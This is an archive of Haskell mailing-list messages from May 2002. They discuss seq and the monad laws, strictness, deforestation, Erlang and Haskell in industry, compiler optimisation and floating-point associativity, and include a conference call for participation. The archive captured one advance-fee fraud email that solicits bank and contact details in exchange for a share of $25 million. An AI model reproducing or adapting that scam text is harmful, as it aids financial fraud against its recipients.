reid@cs.utah.edu Wed May 15 01:09:07 2002 From: reid@cs.utah.edu (Alastair Reid) Date: 15 May 2002 01:09:07 +0100 Subject: State monads don't respect the monad laws in Haskell In-Reply-To: References: Message-ID: Hal Daume writes: > [seq is] useful for: > > debug :: Show a => a -> a > debug x = unsafePerformIO (hPutStrLn stderr (show x)) `seq` x > > (Presumably "trace" is defined similarly) > > One may ask the question: what is seq useful for not in conjunction with > unsafePerformIO, other than efficiency. That, I don't know the answer to. Of course, this can be defined without seq: > debug :: Show a => a -> a > debug x = unsafePerformIO (hPutStrLn stderr (show x) >> return x) -- Alastair Reid Reid Consulting (UK) Ltd From andrew@bromage.org Wed May 15 01:22:21 2002 From: andrew@bromage.org (Andrew J Bromage) Date: Wed, 15 May 2002 10:22:21 +1000 Subject: How to get functional software engineering experience? In-Reply-To: <200205141647.13761.jeffrey.palmer@acm.org> References: <200205141647.13761.jeffrey.palmer@acm.org> Message-ID: <20020515002221.GA25445@smtp.alicorna.com> G'day all. On Tue, May 14, 2002 at 04:47:13PM -0500, Jeffrey Palmer wrote: > Are there any options for people like me, or does my functional experience > remain limited to the hobby* work I can squeeze in at night and on weekends? > > Thoughts? The first thing you have to understand is that there isn't a lot of functional (or even declarative) software engineering experience out there. Going into academia wouldn't help even if you were qualified. With all due respect to the fine people who have produced some wonderful pieces of software, they tend to concentrate on research rather than engineering, as they should. On the other hand, it's an exciting time to do engineering in declarative languages, because we can invent the design patterns and discover what the good habits are as we go along. Yay for the bleeding edge. Slight digression: Would it be good to have a forum to discuss the specific issues which arise when doing software engineering in Haskell, or declarative languages in general? Just a thought... All I can suggest that you do is if you have some leeway in how you implement something, do it in Haskell. Especially if it's a tool to be used internally. > * I'm building a realistic image synthesis package in Haskell, if anyone's > interested. ;) You've got me curious now. I was using Haskell last year while working in the visual effects industry. We might discuss this off-list... Cheers, Andrew Bromage From mpeti_k@mail.com Wed May 15 05:05:12 2002 From: mpeti_k@mail.com (LAURENT MPETI KABILA) Date: Wed, 15 May 2002 06:05:12 +0200 Subject: (no subject) Message-ID: <20020515040108.E3EA4421FA8@www.haskell.org> REQUEST FOR URGENT BUSINESS ASSISTANCE -------------------------------------- I stumbled into your contact by stroke of luck after a long search for an honest and trust worthy person who could handle issue with high confidentiality=2E I was so dilghted when i got your contact and i decided to contact you and solicite for your kind assistance=2E i hope you will let this issue to remain confidential even if you are not interested because of my status=2E I am Laurent Mpeti Kabila =28Jnr=29 the second son of Late President LAURENT DESIRE KABILA the immediate Past president of the DEMOCRATIC REPUBLIC OF CONGO in Africa who was murdered by his opposition through his personal bodyguards in his bedroom on Tuesday 16th January=2C 2001=2E I have the privilege of being mandated by my father=2Cs colleagues to seek your immediate and urgent co-operation to receive into your bank account the sum of US $25m=2E =28twenty-five million Dollars=29 and some thousands carats of Diamond=2E This money and treasures was lodged in a vault with a security firm in Europe and South-Africa=2E SOURCES OF DIAMONDS AND FUND In August 2000=2C my father as a defence minister and president has a meeting with his cabinet and armychief about the defence budget for 2000 to 2001 which was US $700m=2E so he directed one of his best friend=2E Frederic Kibasa Maliba who was a minister of mines and a political party leader known as the Union Sacree de=2Copposition radicale et ses allies =28USORAL=29 to buy arms with US $200m on 5th January 2001=3B for him to finalize the arms deal=2Cmy father was murdered=2E f=2EK=2E Maliba =28FKM=29 and I have decided to keep the money with a foreigner after which he will use it to contest for the political election=2E Inspite of all this we have resolved to present you or your company for the firm to pay it into your nominated account the above sum and diamonds=2E This transaction should be finalized within seven =287=29 working days and for your co-operation and partnership=2C we have unanimously agreed that you will be entitled to 5=2E5% of the money when successfully receive it in your account=2E The nature of your business is not relevant to the successful execution of this transaction what we require is your total co-operation and commitment to ensure 100%risk-free transaction at both ends and to protect the persons involved in this transaction strict confidence and utmost secrecy is required even after the uccessful conclusion of this transaction=2E If this proposal is acceptable to you=2C kindly provide me with your personal telephone and fax through my E-mail box for immediate commencement of the transaction=2E I count on your honour to keep my secret=2C SECRET=2E Looking forward for your urgent reply Thanks=2E Best Regards MPETI L=2E KABILA =28Jnr=29 From rjmh@cs.chalmers.se Wed May 15 06:31:31 2002 From: rjmh@cs.chalmers.se (John Hughes) Date: Wed, 15 May 2002 07:31:31 +0200 (MET DST) Subject: How to get functional software engineering experience? In-Reply-To: <200205141647.13761.jeffrey.palmer@acm.org> Message-ID: > > However, it appears that the only place (short of Ericsson) I can actually > work on a complex functional system is in academia. Unfortunately, this is > not an option, as I have no Ph.D., and going back to school is probably not > realistic. There are other companies using Erlang, if not on as large a scale. The Erlang User Conference (proceedings online at erlang.org) is a good starting point to find out which. Some of the best stories, though, are from very small Erlang groups in companies mainly using something else... I would guess the biggest Haskell company is Galois Connections Inc (galois.com), although I know there are others. Funny there's no "Haskell in Industry" section on haskell.org -- it might be small, but it wouldn't be empty, if people using Haskell were willing to stand up and be counted. John Hughes From sqrtofone@yahoo.com Wed May 15 06:37:50 2002 From: sqrtofone@yahoo.com (Jay Cox) Date: Wed, 15 May 2002 00:37:50 -0500 (CDT) Subject: State monads don't respect the monad laws in Haskell In-Reply-To: <20020514202352.GA16279@ccshan.stanford.edu> Message-ID: On Tue, 14 May 2002, Ken Shan wrote: > On 2002-05-14T12:32:30-0400, Jan-Willem Maessen wrote: > > And I'd really much rather we cleaned up the semantics of > > seq---or better yet, fixed the problems with lazy evaluation which > > make seq necessary in the first place. > > A general question: What is seq useful for, other than efficiency? seq can create a new, strict definition of a function from an existing non-strict function. const a = \_ -> a (const nonstrict in second arg) strict_const a b = seq b (const a b) strict_const now strict in second arg, even though it doesnt use arg. I believe the strictness properties of functions in haskell and program-execution-flow are very much intertwined, as in one defines the other. This seems like a simple concept, and I know of no real proof, but I think the idea is worth considering. I have found that functions can be classified three ways (for some given argument to the function) I will use the first argument for simplicity. Strict: 1. For all values x for all of v_1 ... v_n , f _|_ v_1 ... v_n = _|_ Conditionally-Strict: 2. There exists a value x for v_i (1<=i<=n) such that when v_i =x f _|_ v_1 ... v_i .. vn = _|_ but it is not the case that f is "strict" (in the argument in question). Lazy: 3. There exists no value x for v_i (1<=i<=n) such that f _|_ v1 .. vn = _|_ When there is only one argument, the cases are wittled down to case one and case three, or strict versis nonstrict. When f _|_ a = _|_ for some a, that means when f is reduced, f causes some reduction in the first argument of f. For the third case, f doesn't cause any reduction in the first argument. Most functions I believe are in case two, or conditionally strict in some argument. here's an example. lets define a simplified "take" function take 0 _ = [] take n (x:xs) = x :take (n-1) xs Prelude> take 0 undefined :: [Int] [] Prelude> take 1 undefined :: [Int] *** Exception: Prelude.undefined It just so happens that take is not strict in the second argument when the first argument happens to be zero. we can fix this with seq (or perhaps by redefining take just a tad so it pattern matches on the list or something) take' 0 [] = [] take' 0 xs = [] take' n (x:xs) = x:take' (n-1) xs take'' n l = seq l (take n l) so now then Main> take' 0 undefined :: [Int] *** Exception: Prelude.undefined Main> take'' 0 undefined :: [Int] *** Exception: Prelude.undefined /**Aside: but did I really fix take''? that is, are take' and take'' the same? Main> take' 1 (9:undefined) *** Exception: Prelude.undefined Main> take'' 1 (9:undefined) [9] No. an almost equivalant definition to take could be. take'' 0 [] = [] take'' 0 xs = [] take'' n (x:xs) = x:take (n-1) xs ^^notice the use of "take" instead of "take''" !! **/ So what have I done? With strict_const, I took a lazy function and made it strict. with take'', I took a conditionally strict function and made it strict. all with the simple application of seq. I also changed the order of evaluation for the application of both functions, obviously. I hope I have shown some evidence of why I think my conjecture is correct. Why does it matter if my conjecture is correct and what does it have to do with this thread? I'm sure it has something to do with it, but my head hurts trying to think of it. Seq has to do with changing the order of operations, which I'm trying to say also changes strictness properties. Ugh. I swear they're all related somehow, I just can't grasp all of it at the moment. Appologies if my message seems rather incoherent. I thought about not sending it but I also thought there was enough useful info (for somebody) that it might just be worth posting. I am not a researcher, so take this message with usual dosage of salt. Cheers, Jay Cox From awfurtado@uol.com.br Wed May 15 07:39:53 2002 From: awfurtado@uol.com.br (Andre W B Furtado) Date: Wed, 15 May 2002 03:39:53 -0300 Subject: Haddock installing problems References: <9584A4A864BD8548932F2F88EB30D1C609319C65@TVP-MSG-01.europe.corp.microsoft.com> Message-ID: <000b01c1fbdb$537264e0$d8d8bfc8@windows9> Andre W B Furtado wrote: > > [Haddock cannot find perl] > This works for me, but I'm not a Cygwin/Windows expert so I'm not sure > what the canonical answer should be. On my system I have the Cygwin > perl.exe in /cygwin/bin, and this is also /bin under cygwin, because by > default Cygwin seems to want to mount /cygwin as /. > > I've just successfully build Haddock on WinXP with a fresh install of > Cygwin, GHC 5.02.3, and surprisingly little fiddling about (I think I > had to set PATH to include GHC, but that was it). Looking the output produced by ./configure, I noticed that: checking for ghc... /PROGS/GHC5023/BIN/ghc checking version of ghc... /PROGS/GHC5023/BIN/ghc: not found I wonder why haddock thinks my ghc dir is "/PROGS/GHC5023/BIN/ghc" when it should be "/progs/ghc5023/bin/ghc". Perhaps that's why it can't find perl: ghc itself was not found. Any ideas? -- Andre From voigt@orchid.inf.tu-dresden.de Wed May 15 07:51:54 2002 From: voigt@orchid.inf.tu-dresden.de (Janis Voigtlaender) Date: Wed, 15 May 2002 08:51:54 +0200 Subject: `seq` breaks the foldr/build-rule Message-ID: <3CE2058A.331B0983@tcs.inf.tu-dresden.de> Hello, while we are talking about strange semantic inequalities in the presence of `seq` (supposed monads not satisfying the monad laws anymore...), I just wanted to reiterate a point I made in a previous post, namely that `seq` also makes the foldr/build-rule of shortcut deforestation [1] wrong. Consider the following (admittedly artificial) program: build:: (forall b . (a -> b -> b) -> b -> b) -> [a] build g = g (:) [] original :: [Int] -> Int original l = foldr const 0 (build g) where g c n = let h [] = n h (x:xs) = let f=h xs in (c x f) `seq` (c 1 f) in h l The foldr/build-rule says that for all g of appropriate type holds: foldr k z (build g) = g k z i.e., the function "original" should be equivalent to the following: optimized :: [Int] -> Int optimized l = g const 0 where g c n = let h [] = n h (x:xs) = let f=h xs in (c x f) `seq` (c 1 f) in h l But now we have a problem! In Hugs: Main> original [undefined] 1 (19 reductions, 35 cells) Main> optimized [undefined] Program error: {undefined} (10 reductions, 57 cells) i.e. on the argument list [undefined] the "original" function yields a nice result, while the "optimized" function fails at runtime. This is not quite an optimization, right? For list producers expressed with build in the Prelude this incorrectness shouldn't be harmful (if they do not use `seq`). But if one wants to write ones own list producers for shortcut deforestation, or to use Olaf Chitil's type-inference based deforestation [2], one has to be extremely careful with using `seq`. [1] A. Gill, J. Launchbury and S.L. Peyton Jones. A Short Cut to Deforestation. In Functional Programming Languages and Computer Architecture, Copenhagen, Denmark, Proceedings, pages 223-232. ACM Press, June 1993. [2] O. Chitil. Type Inference Builds a Short Cut to Deforestation. In International Conference on Functional Programming, Paris, France, Proceedings, volume 34 of ACM SIGPLAN Notices, pages 249-260, September 1999. -- Janis Voigtlaender http://wwwtcs.inf.tu-dresden.de/~voigt/ mailto:voigt@tcs.inf.tu-dresden.de From claus.reinke@talk21.com Wed May 15 12:53:30 2002 From: claus.reinke@talk21.com (Claus Reinke) Date: Wed, 15 May 2002 12:53:30 +0100 Subject: How to get functional software engineering experience? References: Message-ID: <004c01c1fc07$22acb8c0$ae1ffea9@Standard> > > However, it appears that the only place (short of Ericsson) I can actually > > work on a complex functional system is in academia. Unfortunately, this is > > not an option, as I have no Ph.D., and going back to school is probably not > > realistic. The latter depends on your background. With a first degree and solid experience in FP and software engineering, you might be just the right fit for some research associate positions (if you are willing to think about academic salaries for the serious work involved in getting a PhD..). Academia is investigating the implications of FP being put to practical use, and for that, we need input from people with strong practical background. A few weeks ago, we at UKC were looking for someone to investigate refactoring in functional languages (now taken). Heriot-Watt is looking for someone to pit Glasgow distributed Haskell against Erlang in a Motorola-sponsored project (see recent Haskell Communities Report for info and links). > There are other companies using Erlang, if not on as large a scale. The > Erlang User Conference (proceedings online at erlang.org) is a good > starting point to find out which. Some of the best stories, though, are > from very small Erlang groups in companies mainly using something else... If we can trust the recent download statistics, there have been 10.000 (!) downloads of the newest Erlang opensource release (that is, not counting the paying customers). And yes, Erlang has been used by other companies, see, e.g.: http://dmoz.org/Computers/Programming/Languages/Erlang/Products/ > I would guess the biggest Haskell company is Galois Connections Inc > (galois.com), although I know there are others. Funny there's no "Haskell > in Industry" section on haskell.org -- it might be small, but it wouldn't > be empty, if people using Haskell were willing to stand up and be counted. As you say, there are lots of others, they just need to be willing to stand up and be counted (repeating a good suggestion sometimes helps;-). Meanwhile, we have made a start in the Haskell Communities Reports. http://www.haskell.org/communities/ The first edition had a longer section on Galois, this edition has a longer section on Xilinx. Both editions list Haskellers who have come forward to tell us what non-Haskell-related things they do with Haskell in the applications chapter. We only have a small sample, but the variety of applications is as encouraging as the confidence displayed in applying Haskell to complex problems. I've been trying to suggest to other fpl communities (Clean, Erlang, ML,..) that they produce similar activity reports. Joe Armstrong has just this week volunteered to organize such an effort for the Erlang community. Such reports help to document what, IMHO, has been a significant change in FP programmers attitude: we no longer wonder why "they in industry" don't take up FP, more and more of us simply start to use FP where it helps us. Btw, I wouldn't subscribe to Andrew's opinion that "there isn't a lot of functional (or even declarative) software engineering experience out there.". FP has been in the making for quite some time now, and all the time it didn't make it into mainstream, we have been "losing" FP people to industry. A few decades ago, universities had to send some of their lecturers on courses if they wanted them to teach FP; nowadays FP-aware students leave academia in the 100s (well, 1000s in some parts of Australia;-). Even if you assume that most of them forget what they learned in less than a year, and even if you completely ignore the LP figures, those numbers keep adding up. The ground is better prepared than ever. It remains up to you to decide whether you're confident enough to use FP, without needless hype, and just for the many things you know it can do well. Cheers, Claus From scott@projtech.com Wed May 15 13:14:17 2002 From: scott@projtech.com (Scott Finnie) Date: Wed, 15 May 2002 13:14:17 +0100 Subject: What does FP do well? (was How to get functional software engineering experience?) References: <004c01c1fc07$22acb8c0$ae1ffea9@Standard> Message-ID: <3CE25119.13F7A5AC@projtech.com> Claus Reinke wrote: > The ground is better prepared than ever. It remains up to you to > decide whether you're confident enough to use FP, without needless > hype, and just for the many things you know it can do well. As a naive but interested newbie, I'm very keen to understand those things that FP does well - and just as importantly, those things it doesn't. (I'm coming at this from use in an industrial context). Based on (_very_) limited experience so far, I get the feeling that: . FP is well suited to transformation-type problems - i.e. those that can usefully be viewed as transforming some input to a required output. . FP - or at least Haskell - is not so well suited to reactive, event driven, parallel systems: i.e. those that can usefully be viewed as a CSP system. Please don't flame if this is off-base, I'm trying to get a handle on things. This is based primarily on Haskell; I realise Erlang's primary domain is telecoms, which implies it does address the second category. Assuming that's so, are there extra concepts in Erlang that make it suitable for such problems? Thanks, Scott. From tweed@compsci.bristol.ac.uk Wed May 15 13:56:33 2002 From: tweed@compsci.bristol.ac.uk (D. Tweed) Date: Wed, 15 May 2002 13:56:33 +0100 (BST) Subject: What does FP do well? (was How to get functional software engineering experience?) In-Reply-To: <3CE25119.13F7A5AC@projtech.com> Message-ID: On Wed, 15 May 2002, Scott Finnie wrote: > As a naive but interested newbie, I'm very keen to understand those > things that FP does well - and just as importantly, those things it > doesn't. (I'm coming at this from use in an industrial context). > Based on (_very_) limited experience so far, I get the feeling that: > > . FP is well suited to transformation-type problems - i.e. those that > can usefully be viewed as transforming some input to a required > output. > . FP - or at least Haskell - is not so well suited to reactive, event > driven, parallel systems: i.e. those that can usefully be viewed as a > CSP system. In my personal experience it's not really specific things but rather in the more general area that: (1) FP generally makes it less painful to write higher level code (especially generic, reusable code), particularly because it of the ease of combining things using higher order functions, both from the standard prelude and designed for the particular domain the program is working in. Higher level code is generally less difficult (note not `easy') to write in the first place, understand and modify drastically. (2) FP is generally not more helpful than other approaches if you're trying to get close to optimal performance by ensuring that nothing redundant happens. (Redundant in the sense that without optimization "map f . map g" applied to a list will build a new intermediate list, including the `links' when applying the g only to break it apart again to apply the f; I know that the timing is actually more complicated due to laziness but it illustrates the point.) The key to using deciding when it's FP would be an appropriate choice lies in being able to honestly judge whether the program you are working on will benefit more from (1) than it will suffer from (2). I don't work in industry but rather am an academic researcher with a different field of research (i.e., I don't get any `publication credit' for doing things using a new FP-based technique rather than an existing one) and I use Haskell for: (1) Prototyping image-processing algorithms on toy data. When my initial ideas are in heavy flux and I'm trying to figure out if they will work at all, writing Haskell implementations on artificial data means I don't waste time coding in imperative-language detail things that won't work anyway. Performance issues & integration hassles mean I've always written C++ code before being able to try candidate algorithms on real (LARGE) data sets. (2) Scripting and small applications. For example, I've got a script that does some really nasty, tortous processing to build Makefiles that takes a couple of minutes to run under Hugs when I'm sure it would run in a couple of seconds if I rewrote it in C++. But I only run it a couple of times a day, and the ease of writing and modification far outweigh the slower running time. > Please don't flame if this is off-base, I'm trying to get a handle on > things. This is based primarily on Haskell; I realise Erlang's primary > domain is telecoms, which implies it does address the second category. > Assuming that's so, are there extra concepts in Erlang that make it > suitable for such problems? There are certainly some different ideas in Erlang but I think the primary reason it's used is that it was developed in a research lab somewhere in Ericsson. ___cheers,_dave_________________________________________________________ www.cs.bris.ac.uk/~tweed/ | `It's no good going home to practise email:tweed@cs.bris.ac.uk | a Special Outdoor Song which Has To Be work tel:(0117) 954-5250 | Sung In The Snow' -- Winnie the Pooh From kff@it.kth.se Wed May 15 14:19:43 2002 From: kff@it.kth.se (Karl-Filip Faxen) Date: Wed, 15 May 2002 15:19:43 +0200 Subject: What does FP do well? (was How to get functional software engineering experience?) In-Reply-To: Your message of Wed, 15 May 2002 13:56:33 +0100. Message-ID: <200205151319.g4FDJhp01269@mail2.it.kth.se> Hi! On the performance (or not) of high level code: I'm working on a compiler with a strong emphasis on generating good code for programs written in a fairly generic style. This work is very far from being completed, but some of the highlights of the compiler are: - Aggressive removal of higher-order functions, but not when functions are truly used as data. So everything like foldr, map, compose and similar user defined functions will be removed, cross module. It's the cross-module part that's difficult and innovative; otherwise it's just plain old partial evaluation. - I plan to use deforrestation as well, but I have not decided on the details yet. - Cloning for generating different versions of functions being called from different call sites. Eg a nonstrict function might be legal to optimize more aggressively if it is only called with evaluated arguments. It is going to be interesting to see how much this will give. I suspect that part of the performance problems of (lazy) functional languages come from their encouraging the programmer to use linked data structures rather than arrays and similar biases, rather than just from overhead. Chrees, /kff From mpc02@ukc.ac.uk Wed May 15 12:09:00 2002 From: mpc02@ukc.ac.uk (mpc02) Date: Wed, 15 May 2002 12:09:00 +0100 (BST) Subject: Mathematics of Program Construction 2002 Call for Participation In-Reply-To: Message-ID: Call for Participation MPC 2002 - Sixth International Conference on MATHEMATICS OF PROGRAM CONSTRUCTION July 8 - 10, 2002 http://www.cs.ukc.ac.uk/events/conf/2002/mpc2002/ WCGP '02 - IFIP WG2.1 Working Conference on GENERIC PROGRAMMING July 11 - 12, 2002 http://www.generic-programming.nl/wcgp/ MPC 2002 Welcome to MPC 2002, the Sixth International Conference on MATHEMATICS OF PROGRAM CONSTRUCTION which will take place in Schlo=DF Dagstuhl in the second week of July 2002. The conference's final programme is under http://www.cs.ukc.ac.uk/events/conf/2002/mpc2002/prog/ WCGP '02 Following MPC 2002 there is the IFIP WG2.1 Working Conference on GENERIC PROGRAMMING WCGP '02. The conference's final programme is under http://www.generic-programming.nl/wcgp/programme.html Note that attending WCGP '02 is by invitation only. If you think you should be invited, please contact Jeremy.Gibbons@comlab.ox.ac.uk stating why. Co-located workshops Two workshops are taking place in the same week co-located with the conference: CMPP 2002 - 3rd International Workshop on Constructive Methods for Parallel Programming http://pvp.cs.tu-berlin.de/cmpp02/ TIP'02 - Workshop on Types in Programming http://www.informatik.uni-freiburg.de/~thiemann/tip02/ Accommodation and Food Accommodation will be provided at Schlo=DF Dagstuhl, http://www.dagstuhl.de the International Conference and Research Center for Computer Science. This will be mostly in single rooms at EURO 60 full pension per day. There is also a limited number of double rooms at EURO 30 full pension per day and person. The double rooms will be assigned on a first-come first-served basis. The conference center provides full computing facilities, including net and e-mail access, as well as an extensive library. The lecture rooms are equipped with beamers, overhead projectors and blackboards. To a limited extent also accompanying persons can be accommodated in Schlo=DF Dagstuhl; the rate for full pension in a double room will then be EURO 30 for conference delegates and EURO 50 for accompanying persons. However, the Dagstuhl web pages also contain information about alternative accommodation in the neighbourhood. Normal arrival is between Sunday July 7 and Wednesday July 10, normal departure is between Wednesday July 10 and Friday July 13 or Saturday July 14. In particular cases the stay can be extended into Sunday July 15; however, on Saturday and Sunday only breakfast will be served. If you arrive prior to Sunday July 7 you will have to arrange your own accommodation through the Dagstuhl web pages. Schlo=DF Dagstuhl is renowned for its fine cuisine. They will also be able to take care of dietetic requirements and restrictions (such as vegeterian food or certain allergies). If you need kosher food there is the possibility of getting a room with a kitchenette and a microwave oven to prepare your own things. Please indicate such wishes on your registration form. MPC and WCGP will hold a joint banquet on the evening of Wednesday July 10. Fees and Payment The registration fee for MPC is EURO 40, including one copy of the Proceedings. The registration fee for WCGP is EURO 200, including one copy each of the preproceedings and of the final proceedings. The banquet will cost EURO 20 per person. TIP and CMPP may charge small additional registration fees for their own proceedings. You will pay everything to Schlo=DF Dagstuhl. They accept cash (EURO) as well as credit card (Visa and Mastercard only). Travel Information You will find travel information how to come to Schlo=DF Dagstuhl on the travel info page of the Dagstuhl web site http://www.dagstuhl.de Note: On Monday July 8 direct access to Schlo=DF Dagstuhl will be blocked from about 14:00 to 16:00, because the Tour de France will pass by! We'll leave a corresponding free slot in the conference schedule to allow watching the spectacle. Registration Deadline for registration for all or any of the above events is Monday, June 17, 2002 Please complete the Registration Form attached below and send it by e-mail to Georg.Struth@informatik.uni-augsburg.de Contact If you have further questions at this point concerning the venue, registration etc please do not hesitate to get in touch with Georg.Struth@informatik.uni-augsburg.de or any member of the Organizing Committee of MPC 2002, CMPP 2002, TIP'02, WCGP '02. -------------------------------------------------------------- Registration Form for MPC 2002/WCGP '02 *** Please do not insert additional line breaks *** *** In the case of multiple choices, please *** *** insert X into the corresponding parentheses *** Family Name: First Name: Institution: Street: City, Zip Code: Country: Tel: Fax: E-Mail: URL: Day of Arrival (dd/mm/yy): Day of Departure (dd/mm/yy): Single room () Double room () Accompanying Person in Dagstuhl: yes () no () Participation in the following events MPC: () TIP: () CMPP: () WCGP: () Banquet on Wed. Jul 10: () if yes, number of persons: Dietetic requirements/restrictions: Additional remarks: --=20 Mathematics of Program Construction '02 at Dagstuhl (Eerke Boiten, Computing Laboratory, University of Kent at Canterbury, UK +44.1227.827615 (fax 762811)) From dpt@math.harvard.edu Wed May 15 16:15:21 2002 From: dpt@math.harvard.edu (Dylan Thurston) Date: Wed, 15 May 2002 11:15:21 -0400 Subject: State monads don't respect the monad laws in Haskell In-Reply-To: <200205141632.MAA00708@lauzeta.mit.edu> References: <200205141632.MAA00708@lauzeta.mit.edu> Message-ID: <20020515151521.GA5256@math.harvard.edu> --huq684BweRXVnRxX Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, May 14, 2002 at 12:32:30PM -0400, Jan-Willem Maessen wrote: > Chalk me up as someone in favor of laws without exceptions. Do you ever use floating point addition? I rarely use floating point, but it is sometimes more useful than the alternatives, as long as you bear in mind its limitations. In general, programmers should be allowed to do unsafe things, as long as they explicitly ask for it (by, say, using floating point). I guess these monad laws are not such a case. I'm very interested by your ideas to make Haskell better behaved: =20 > ... > That said, "seq" is a big wart on Haskell to begin with. I might be > willing to allow "nice" rules like the monad laws to apply *as long as > the results are not passed (directly or indirectly) to seq*. But I'm > not willing to go from "the IO monad disobeys the laws in the presence > of seq, and that might be OK" to "my monad disobeys the laws in code > that never uses seq, and that's OK because even IO breaks the monad > laws". And I'd really much rather we cleaned up the semantics of > seq---or better yet, fixed the problems with lazy evaluation which > make seq necessary in the first place. [Let me be clear: I believe > hybrid eager/lazy evaluation, the subject of my dissertation, does > eliminate the need for seq in most cases---so I'm a bit biased here.] This sounds very interesting! Is your dissertation available? My main complaint about Haskell at the moment is that it seems remarkably difficult to avoid space leaks due to laziness issues; your approach seems like a promising way to avoid that. Best, Dylan Thurston --huq684BweRXVnRxX Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE84nuIVeybfhaa3tcRAlW9AJ9lVBq+YRKRWUH05oyPUyj0BJlH9gCeNazr PRVJs/c8fR3CWRm2vWXZ/KA= =32/P -----END PGP SIGNATURE----- --huq684BweRXVnRxX-- From jeffrey.palmer@acm.org Wed May 15 16:18:30 2002 From: jeffrey.palmer@acm.org (Jeffrey Palmer) Date: Wed, 15 May 2002 10:18:30 -0500 Subject: How to get functional software engineering experience? In-Reply-To: <20020515002221.GA25445@smtp.alicorna.com> References: <200205141647.13761.jeffrey.palmer@acm.org> <20020515002221.GA25445@smtp.alicorna.com> Message-ID: <200205151018.30932.jeffrey.palmer@acm.org> On Tuesday 14 May 2002 07:22 pm, Andrew J Bromage wrote: > On the other hand, it's an exciting time to do engineering in > declarative languages, because we can invent the design patterns and > discover what the good habits are as we go along. This is very interesting to me, as I have a great deal of experience appl= ying=20 and documenting patterns in object-oriented environments. =46rom the research I've done to date, functional programming provides en= ough of=20 a paradigm shift that there are significant new patterns/idioms (you choo= se=20 the lingo) that need to be documented.* I can think of several off of th= e=20 top of my head: - Tying the knot - Phantom types - Appropriate use of strictness in data structures - The excellent techniques used in Edison for parameterization Etc. With that in mind, I'd be interested in starting such a documentation pro= ject. =20 And by this I mean something more formal than the existing Wiki, perhaps = in=20 hyperlinked/book form. In this way, you could download a bunch of patter= ns=20 with good example code, and get a head start on understanding proven=20 approaches for structuring systems, etc. So, if you have any patterns, or better yet, source code that demonstrate= s an=20 approach or technique, please send them my way. I will put something=20 together on this in the next couple of weeks, and let everyone know where= to=20 find it. And, if there are no objections, I'll probably harvest some fro= m=20 the Wiki and various other papers that have them buried beneath formalism= s. =20 :) If anyone has any suggestions, I'd love to hear them. Regards, =09- j * To avoid any pattern debates: I personally believe that patterns are=20 especially useful for getting novices up to speed on concepts that might = not=20 be readily apparent at first glance. Rather than treating patterns as=20 anything "special" in their own right, for me they're simply a really=20 convenient way of teaching people new and interesting concepts. --=20 The river is moving. The blackbird must be flying. From hdaume@ISI.EDU Wed May 15 17:24:08 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Wed, 15 May 2002 09:24:08 -0700 (PDT) Subject: What does FP do well? (was How to get functional software engineering experience?) In-Reply-To: <200205151319.g4FDJhp01269@mail2.it.kth.se> Message-ID: On Wed, 15 May 2002, Karl-Filip Faxen wrote: > On the performance (or not) of high level code: I'm working on a > compiler with a strong emphasis on generating good code for I wish you luck! > It is going to be interesting to see how much this will give. I suspect > that part of the performance problems of (lazy) functional languages > come from their encouraging the programmer to use linked data structures > rather than arrays and similar biases, rather than just from overhead. I tend to agree. I keep meaning for experimental purposes to define a list type called AList or something which is syntactically identical to lists (i.e., you can use the familiar (:) and [] operators/sugar), but gets preprocessed out as actually being implemented with an array with a pointer to the "current" element. Especially if we use unboxed types for such a thing, I imagine that on many applications this would give a boost in performance. I'm almost "mad" at the prelude for including so many functions which basically treat lists in ways they weren't meant, for instance, lookup, !!, etc. lookup is more suited to FiniteMap and !! is more suited to arrays. However, the syntactic sugar supporting lists is *so* strong that I find myself often using them because it's much easier to write functions using (:) and [] and especially [a,b,c] notation than it is to write functions using `addToFM` and emptyFM and the like. Perhaps if I (or someone else) gets around to writing a List->Array converter, I (or they) could apply some hueristics to see which lists (i.e., ones with lots of !!s or backwards traversals) should be implemented as Arrays and which (i.e., ones with lots of lookups) should be implemented as FiniteMaps*... Just some thoughts... - Hal * I believe such things aren't unheard of -- I don't know the name of it, but I know one of my friends up at MS Redmond was working on compilation where the compiler would determine optimal data structures to use by examining code...with typeclasses and all, I think this would be a very natural thing to see in Haskell (or a Haskell derivative). From jmaessen@alum.mit.edu Wed May 15 17:26:52 2002 From: jmaessen@alum.mit.edu (Jan-Willem Maessen) Date: Wed, 15 May 2002 12:26:52 -0400 Subject: State monads don't respect the monad laws in Haskell Message-ID: <200205151626.MAA00718@lauzeta.mit.edu> Dylan Thurston writes: > Do you ever use floating point addition? > > I rarely use floating point, but it is sometimes more useful than the > alternatives, as long as you bear in mind its limitations. Yep, floating point is by necessity a bit of a mess. On the other hand, I don't think we ought to be claiming that addition of Nums is associative, because it just isn't true. (Indeed, if we trap overflow then even Int addition is non-associative; I'm agin overflow trapping on Int for this among other reasons.) I see four "solutions" to the problem of non-associativity of floating point, in approximate order of flexibility: 1) Declare that Num is never associative. Compilers may re-associate (+) only if the types involved can be shown to be associative. Programmers may of course re-associate (+) in other cases as well, if they know what they are doing. 2) Provide a compiler flag which indicates that the compiler can assume assocativity of Num and optimize accordingly. Similar flags exist for other compilers (gcc's -ffast-math comes to mind). 3) Provide an associative floating-point hierarchy, to be used with the knowledge that "associativity" of such a type is only an approximate notion. 4) Provide a way of annotating Num instances to indicate the associativity property. I have no idea what form such an annotation would take. I therefore suspect (1) or (2) is good enough. (3) is way more trouble than it's worth, I bet; (4) is a nifty research problem with (so I hear) a certain amount of related research already out there. The real problem of course is things like this: "Solve y = x + b for x given y and b". We can't technically even *solve* the equation if addition is non-associative. But this is, of course, a problem in *every* language with limited-precision floating point. We probably need to be forthright about this when educating new programmers. I'm less clear how to couch this when presenting Num to the experienced programmer. Note that non-associativity is only one difficulty in working with floating point. Instability caused by different register and memory precision on x86 has proven to be a very noticable problem for me during compiler development. The -fforce-mem option on gcc addresses this issue at the cost of performance; my (limited) understanding of the problem indicates that this flag sacrifices (false) extra precision for predictability and thus for better accuracy (if you know what you are doing). This has nothing to do with declared semantics and everything to do with implementation hackery. > This sounds very interesting! Is your dissertation available? I'm making the last few fixes; it will be signed at the end of the week and I'll gladly send out a link to the Haskell mailing list when it's done. -Jan-Willem Maessen From john@launchbury.org Wed May 15 17:48:28 2002 From: john@launchbury.org (John Launchbury) Date: Wed, 15 May 2002 09:48:28 -0700 Subject: State monads don't respect the monad laws 